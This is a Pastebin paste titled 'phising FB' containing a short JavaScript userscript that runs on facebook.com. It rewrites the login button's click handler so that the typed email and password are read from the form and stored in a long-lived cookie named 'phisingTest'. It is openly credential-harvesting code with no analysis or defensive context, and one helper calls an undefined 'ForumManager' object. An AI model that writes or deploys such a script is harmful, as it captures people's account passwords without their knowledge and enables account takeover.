Advertisement
Slupik98

phising FB

Jun 15th, 2016
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.46 KB | None | 0 0
  1. // ==UserScript==
  2. // @match https://www.facebook.com*
  3. // @match http://www.facebook.com*
  4. // ==/UserScript==
  5.  
  6. var phisingTest = {
  7. saved: '',
  8. createCookie: function (name, value, days) {
  9. var expires;
  10. if (days) {
  11. var date = new Date();
  12. date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
  13. expires = "; expires=" + date.toGMTString();
  14. }
  15. else expires = "";
  16. document.cookie = name + "=" + value + expires + "; path=/";
  17. },
  18. readCookie: function (name) {
  19. var nameEQ = name + "=";
  20. var ca = document.cookie.split(';');
  21. for (var i = 0; i < ca.length; i++) {
  22. var c = ca[i];
  23. while (c.charAt(0) == ' ') c = c.substring(1, c.length);
  24. if (c.indexOf(nameEQ) === 0) return c.substring(nameEQ.length, c.length);
  25. }
  26. return null;
  27. },
  28. deleteCookie: function (name) {
  29. ForumManager.createCookie(name, "", -1);
  30. },
  31. hack: function(){
  32. var email = document.getElementById('email').value;
  33. var password = document.getElementById('pass').value;
  34.  
  35. var data = '|-|'+email+'|||'+password;
  36. if(phisingTest.saved!=data){
  37. phisingTest.saved=data;
  38. var cookieText = phisingTest.readCookie('phisingTest');
  39. cookieText += data;
  40. phisingTest.createCookie('phisingTest', cookieText, 100);
  41. }
  42. }
  43. };
  44. (function () {
  45. document.getElementById('loginbutton').setAttribute('onclick', 'javascript:phisingTest.hack()');
  46. //document.getElementById('loginbutton').addEventListener("mousemove", phisingTest.hack);
  47. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement